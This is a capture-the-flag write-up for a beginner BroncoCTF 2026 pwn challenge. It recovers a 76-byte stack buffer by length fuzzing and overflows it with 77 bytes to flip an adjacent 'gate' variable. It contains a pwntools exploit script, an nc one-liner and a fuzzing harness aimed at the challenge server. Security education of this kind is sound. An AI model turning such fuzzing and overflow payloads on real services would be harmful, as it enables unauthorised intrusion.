$ cat writeup.md…
$ cat writeup.md…
broncoctf2026
Task: remote-only pwn with no binary/source; a fixed-size stack buffer sits next to a zero-initialized 'gate' variable guarding the flag. Solution: black-box length fuzzing found the buffer is 76 bytes, so sending 77 'A's overflows into the adjacent gate variable, opening it and printing the flag.
"I've gotten complaints that BroncoCTF has no PWN. But, I think the more important issue is that our students don't know HOW to PWN! Behold: the PWNTORIAL. This'll solve all your pwn knowledge holes! Google Docs: The Pwntorial ...yeah it's just an AI Slop Google Doc but surely that's enough to educate college students nowadays, right?"
Remote service: nc 0.cloud.chals.io 19476 (also referenced as snicat broncoctf-pwntorial.chals.io).
English summary: A remote-only "tutorial" pwn challenge. No binary and no source were provided, and the linked Google Doc is flavor text. The service reads input into a fixed-size stack buffer that is immediately followed by a zero-initialized "gate" variable guarding the flag. The goal is to overflow the buffer just enough to make the gate variable nonzero.
Recon was entirely black-box:
Plain nc connects but prints no banner and waits for input.
Sending arbitrary data (e.g. hello\n) returns:
[-] Try again. The gate is still closed.
The word "gate" plus the closed/open framing strongly implies a classic adjacent stack-variable overwrite: a fixed buffer followed by a gate (a.k.a. flag guard) variable initialized to zero. An if (gate) check prints the flag once the variable becomes nonzero.
Fuzzing input length with b'A'*n + b'\n' and checking for the success string revealed a clean threshold:
| Input length (n) | Response |
|---|---|
| 73–76 | [-] Try again. The gate is still closed. |
| 77–~256 | [+] SUCCESS! Welcome inside, aspiring pwner! + flag |
| 512 / 1024 | still SUCCESS, but flag sometimes missed in the same read due to timing |
Conclusion: the buffer is 76 bytes. The 77th byte spills into the adjacent gate variable, making its first byte nonzero and passing the if (gate) check.
This is the most basic stack buffer overflow — overwriting an adjacent stack variable, not a return address. No canary/PIE/leak/ROP is needed, which fits the "tutorial / first of many PWNs" theme. The exact buffer size (76) was recovered purely by black-box length fuzzing since no binary was available for checksec or disassembly.
Send exactly 77 bytes to overflow the 76-byte buffer by one byte into the gate variable.
pwntools:
#!/usr/bin/env python3 from pwn import * io = remote('0.cloud.chals.io', 19476) io.sendline(b'A' * 77) # 76-byte buffer + 1 byte overflow into the gate var print(io.recvall(timeout=3).decode()) # -> [+] SUCCESS! Welcome inside, aspiring pwner! # bronco{REDACTED}
One-liner:
python3 -c "import sys; sys.stdout.buffer.write(b'A'*77+b'\n')" | nc 0.cloud.chals.io 19476
Optional length-fuzzing harness used to recover the buffer size:
#!/usr/bin/env python3 from pwn import * for n in range(70, 90): io = remote('0.cloud.chals.io', 19476) io.sendline(b'A' * n) resp = io.recvall(timeout=2) io.close() status = 'SUCCESS' if b'SUCCESS' in resp else 'closed' log.info(f'n={n:3d} -> {status}') # threshold: n<=76 closed, n>=77 SUCCESS => buffer = 76 bytes
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar